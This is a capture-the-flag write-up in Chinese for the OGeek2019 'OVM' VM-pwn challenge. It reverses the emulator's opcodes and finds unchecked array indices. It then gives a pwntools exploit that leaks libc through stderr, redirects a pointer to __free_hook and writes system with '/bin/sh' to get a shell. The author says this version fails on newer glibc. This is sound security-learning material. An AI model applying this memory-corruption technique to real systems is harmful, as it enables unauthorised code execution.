本文主要是介绍[OGeek2019 Final]OVM——详细入门VM pwn,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
是一个入门级别的题目,但是花了非常久的时间整理
刚拿到题目进行反编译的时候是非常懵逼的,因为我确实不知道这是干啥的 查了下资料 原理大概如下 VMpwn 程序通常都是模拟一套虚拟机,对用户输入的opcode进行解析,模拟程序的执行,故VMpwn常见设计如下:
初始化分配模拟寄存器空间(reg) 初始化分配模拟栈空间(stack) 初始化分配模拟数据存储空间(data) 初始化分配模拟机器指令(opcode)空间(text)
也就是说,我们给程序输入一串指令,这个程序会有自己独特的,对代码的理解,并进行像分解成机器码那样,执行,而像寄存器,栈空间,存储空间都是程序自己设计的,而不是系统分配的
首先看看主函数 一开始要求输入var_C,var_Ae的时候实属懵逼,这究竟是要干啥?
昨晚题目,个人认为var_A,var_C没啥用,至少在这一题上没什么用,但是并不意味着它们的值可以乱设置,因为根据代码,它们分别决定了code_size和code在内存的位置(很容易看代码得出)
主函数的逻辑大概就是,首先让你输入var_C(可以近似看成RIP),var_A(可以近似看成RSP),然后让你输入代码,而这个代码接下来就要经过处理,首先这个代码是被放在memory数组里面的,然后经过一个判断,如果低三位没有数据,则最高位就用0xe0来填充
接着进入了一个while循环语句,很明显,这就是拆解代码,类似于整理成机器码 进入fetch()函数:
__int64 fetch()
{int v0; // eaxv0 = reg[15];reg[15] = v0 + 1;return memory[v0];
}
就类似于RIP执行完一条指令自动往后走的作用
接着我们点开核心代码execute()
ssize_t __fastcall execute(int code)
{ssize_t opcode; // raxunsigned __int8 op2; // [rsp+18h] [rbp-8h]unsigned __int8 op1; // [rsp+19h] [rbp-7h]unsigned __int8 dest; // [rsp+1Ah] [rbp-6h]int i; // [rsp+1Ch] [rbp-4h]dest = (code & 0xF0000u) >> 16; // 目的寄存器op1 = (code & 0xF00) >> 8; // 操作寄存器1op2 = code & 0xF; // 操作寄存器2opcode = HIBYTE(code);if ( HIBYTE(code) == 0x70 ){opcode = reg;reg[dest] = reg[op2] + reg[op1]; // 目的寄存器=操作寄存器1+操作寄存器2return opcode;}if ( HIBYTE(code) > 0x70u ){if ( HIBYTE(code) == 0xB0 ){opcode = reg;reg[dest] = reg[op2] ^ reg[op1]; // 目的寄存器=操作寄存器1 ^ 操作寄存器2return opcode;}if ( HIBYTE(code) > 0xB0u ){if ( HIBYTE(code) == 0xD0 ){opcode = reg;reg[dest] = reg[op1] >> reg[op2]; // 右移位运算return opcode;}if ( HIBYTE(code) > 0xD0u ){if ( HIBYTE(code) == 0xE0 ){running = 0;if ( !reg[13] ) // 如果_rsp不为空return write(1, "EXIT\n", 5uLL);}else if ( HIBYTE(code) != 0xFF ){return opcode;}running = 0;for ( i = 0; i <= 15; ++i )printf("R%d: %X\n", i, reg[i]);return write(1, "HALT\n", 5uLL);}else if ( HIBYTE(code) == 0xC0 ){opcode = reg;reg[dest] = reg[op1] << reg[op2]; // 左移位运算}}else{switch ( HIBYTE(code) ){case 0x90u:opcode = reg;reg[dest] = reg[op2] & reg[op1]; // 进行与运算break;case 0xA0u:opcode = reg;reg[dest] = reg[op2] | reg[op1]; // 进行或运算break;case 0x80u:opcode = reg;reg[dest] = reg[op1] - reg[op2]; // 减法运算break;}}}else if ( HIBYTE(code) == 0x30 ){opcode = reg;reg[dest] = memory[reg[op2]];}else if ( HIBYTE(code) > 0x30u ){switch ( HIBYTE(code) ){case 0x50u:LODWORD(opcode) = reg[13];reg[13] = opcode + 1;opcode = opcode;stack[opcode] = reg[dest];break;case 0x60u:--reg[13];opcode = reg;reg[dest] = stack[reg[13]];break;case 0x40u:opcode = memory;memory[reg[op2]] = reg[dest];break;}}else if ( HIBYTE(code) == 0x10 ){opcode = reg;reg[dest] = code;}else if ( HIBYTE(code) == 0x20 ){opcode = reg;reg[dest] = code == 0;}return opcode;
}
可以看到我们之前输入的code果然被分解了,每个字节被分别分配给了四个变量,分别可以认为是操作码,目的寄存器,操作寄存器1,操作寄存器2.
接下来就是最烦人的逆向了,经过一系列有耐心的分析后,我们可以得出这样一个结论:
mov reg, src2 0x10 : reg[dest] = src2
mov reg, 0 0x20 : reg[dest] = 0
mov mem, reg 0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem 0x40 : memory[reg[src2]] = reg[dest]
push reg 0x50 : stack[result] = reg[dest]
pop reg 0x60 : reg[dest] = stack[reg[13]]
add 0x70 : reg[dest] = reg[src2] + reg[src1]
sub 0x80 : reg[dest] = reg[src1] - reg[src2]
and 0x90 : reg[dest] = reg[src2] & reg[src1]
or 0xA0 : reg[dest] = reg[src2] | reg[src1]
^ 0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left 0xC0 : reg[dest] = reg[src1] << reg[src2]
right 0xD0 : reg[dest] = reg[src1] >> reg[src2]0xFF : (exit or print) if(reg[13] != 0) print oper
经过搜查资料可以知道,这种VM pwn最常见的漏洞点就是数组溢出,往往因为不检查数组下标而容易发生内存泄露!
仔细分析代码都可以发现,这些操作都没有对数组的下标进行检查,这样会导致什么后果呢,举个例子,如果有一个重要数据B存在数组array[10]的内存前面,如果不对数组的下标进行检查的话,那么我就可以构造array[-1]并输出,就可以得到B的内容了
我们接着分析代码:
write(1, "HOW DO YOU FEEL AT OVM?\n", 0x1BuLL);read(0, comment, 140uLL);sendcomment(comment);write(1, "Bye\n", 4uLL);return 0;
在这一段中,程序往comment存储的内容指向的地址输入东西,而comment是bss段上的数据,同样可以因为不检查下标通过输入负数可以被操作到,这样攻击思路就出来了。
利用思路: 1.先任意读把stderr的地址,分高低地址读到两个寄存器中 2.gdb调试出freehook于stderr的固定偏移,我们改存stderr低地址的寄存器+固定偏移就是freehook的低地址 3.任意写把bss段comment存的堆地址改写为free_hook地址-8 4.执行print功能泄露地址,算出libc_base,得出system 5.接着的read会往free_hook地址-8读0x8c,我们只要填’/bin/sh\x00’+p64(system), 最后free时就会执行system(’/bin/sh’)
下面是错误的exp(用ubuntu20.04疯狂攻击,发现只有在16.04行得通,但是思路是对的,exp网上搜得到)
from pwn import *
io = process("./pwn")
elf = ELF("./pwn")
libc=ELF('./libc-2.23.so')
context(log_level = 'debug', arch = 'amd64', os = 'linux')
def code_generate(code, dst, op1, op2):res = code<<24res += dst<<16res += op1<<8res += op2return resio.recvuntil(b"PC: ")
io.sendline(b'0')
io.recvuntil(b"SP: ")
io.sendline(b'1')
io.recvuntil(b"CODE SIZE: ")
io.sendline(b'33')
io.recvuntil(b"CODE: ")
gdb.attach(io)
pause()
io.sendline(str(code_generate(0x10, 0, 0, 26)).encode('utf-8')) #reg[0] = 26 (stderr) ,该OVM模拟的是32位机器,stderror地址为$rebase(0x201ff8),而memory地址为$rebase(0x202060),二者之间差距为0x68,注意该ovm模拟32bit机器,所以reg每一个偏移为4,故二者偏移为0x68/4=26
io.sendline(str(code_generate(0x80, 1, 1, 0)).encode('utf-8')) #reg[1] = reg[1] - reg[0]print("---------------------------------------------------------------------------------")
io.sendline(str(code_generate(0x30, 2, 0, 1)).encode('utf-8')) #reg[2] = memory[reg[1]] #stderror地址的低4bytes
io.sendline(str(code_generate(0x10, 0, 0, 25)).encode('utf-8')) #reg[0] = 25
io.sendline(str(code_generate(0x10, 1, 0, 0)).encode('utf-8')) #reg[1] = 0
io.sendline(str(code_generate(0x80, 1, 1, 0)).encode('utf-8')) #reg[1] = reg[1] - reg[0]
io.sendline(str(code_generate(0x30, 3, 0, 1)).encode('utf-8')) #reg[3] = memory[reg[1]] #stderror地址的高4bytes
io.sendline(str(code_generate(0x10, 4, 0, 1)).encode('utf-8')) #reg[4] = 1
io.sendline(str(code_generate(0x10, 5, 0, 14)).encode('utf-8')) #reg[5] = 14
io.sendline(str(code_generate(0xC0, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]<<reg[5]#reg4=0x4000
io.sendline(str(code_generate(0x10, 5, 0, 1)).encode('utf-8')) #reg[5] = 1
io.sendline(str(code_generate(0x10, 6, 0, 12)).encode('utf-8')) #reg[6] = 12
io.sendline(str(code_generate(0xC0, 5, 5, 6)).encode('utf-8')) #reg[5] = reg[5]<<reg[6] reg[5]=0x1000
io.sendline(str(code_generate(0x70, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]+reg[5]#reg4=0x5000io.sendline(str(code_generate(0x10, 5, 0, 3)).encode('utf-8')) #reg[5] = 3
io.sendline(str(code_generate(0x10, 6, 0, 10)).encode('utf-8')) #reg[6] = 10
io.sendline(str(code_generate(0xC0, 5, 5, 6)).encode('utf-8')) #reg[5] = reg[5]<<reg[6] reg[5]=0xc00
io.sendline(str(code_generate(0x70, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]+reg[5]#reg4=0x5c00io.sendline(str(code_generate(0x10, 5, 0, 2)).encode('utf-8')) #reg[5] = 2
io.sendline(str(code_generate(0x10, 6, 0, 5)).encode('utf-8')) #reg[6] = 5
io.sendline(str(code_generate(0xC0, 5, 5, 6)).encode('utf-8')) #reg[5] = reg[5]<<reg[6] reg[5]=0x40
io.sendline(str(code_generate(0x70, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]+reg[5]#reg4=0x5c40io.sendline(str(code_generate(0x10, 6, 0, 11)).encode('utf-8')) #reg[6] = 11
io.sendline(str(code_generate(0x80, 4, 4, 6)).encode('utf-8')) #reg[4] = reg[4] - reg[6]io.sendline(str(code_generate(0x70, 2, 4, 2)).encode('utf-8')) #reg[2] = reg[4]+reg[2]#reg2为stderror的低4bytes,stderror距离freehook的偏移为0x5c48,这里使用0x10a0,求得freehook-0x8的位置io.sendline(str(code_generate(0x10, 4, 0, 8)).encode('utf-8')) #reg[4] = 8
io.sendline(str(code_generate(0x10, 5, 0, 0)).encode('utf-8')) #reg[5] = 0
io.sendline(str(code_generate(0x80, 5, 5, 4)).encode('utf-8')) #reg[5] = reg[5] - reg[4]
io.sendline(str(code_generate(0x40, 2, 0, 5)).encode('utf-8')) #memory[reg[5]]=reg[2] #改comment指向free_hook
io.sendline(str(code_generate(0x10, 4, 0, 7)).encode('utf-8')) #reg[4] = 7
io.sendline(str(code_generate(0x10, 5, 0, 0)).encode('utf-8')) #reg[5] = 0
io.sendline(str(code_generate(0x80, 5, 5, 4)).encode('utf-8')) #reg[5] = reg[5] - reg[4]
io.sendline(str(code_generate(0x40, 3, 0, 5)).encode('utf-8')) #memory[reg[5]]=reg[3]
io.sendline(str(code_generate(0xE0, 0, 1, 1)).encode('utf-8')) #exitio.recvuntil(b"R2: ")
low = int(io.recvuntil(b'\n').strip(), 16) + 8
io.recvuntil(b"R3: ")
high = int(io.recvuntil(b'\n').strip(), 16)
free_hook = (high<<32)+lowlibc_address = free_hook - 0x2234a8
system = 0x53d60+libc_address+11
print(hex(system))
io.recvuntil(b"HOW DO YOU FEEL AT OVM?\n")io.sendline(b'/bin/sh\x00'+p64(system))io.interactive()
可恶啊,一直打不通
发现报错,真是奇怪,明明和网上wp都差不多,于是我打开glibc源码对比2.23和2.27,发现2.27多了一个这样的检查:
/* Little security check which won't hurt performance: theallocator never wrapps around at the end of the address space.Therefore we can exclude some size values which might appearhere by accident or by "design" from some intruder. */if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)|| __builtin_expect (misaligned_chunk (p), 0))malloc_printerr ("free(): invalid pointer");
这段代码是一个内存分配器的安全性检查部分。它主要包含两个条件判断语句,用于验证给定的指针p
和大小size
是否有效。
第一个条件判断语句检查指针p
是否超出了地址空间的范围。如果p
大于等于0且小于等于可用的地址空间大小减去size
,则认为p
是有效的。否则,会调用malloc_printerr("free(): invalid pointer")
打印错误信息。
第二个条件判断语句检查给定的大小size
是否小于最小分配块的大小(MINSIZE)或者不满足对齐要求。如果满足这些条件,则认为size
是无效的。否则,不会发生任何操作。
这两个条件判断语句的目的是确保在进行内存释放操作之前,所提供的指针和大小都是有效的。这样可以避免潜在的安全漏洞或错误。
而2.23则没有这个检查,哎学到了,不是malloc出来的地址它不要,难绷
学到了
这篇关于[OGeek2019 Final]OVM——详细入门VM pwn的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!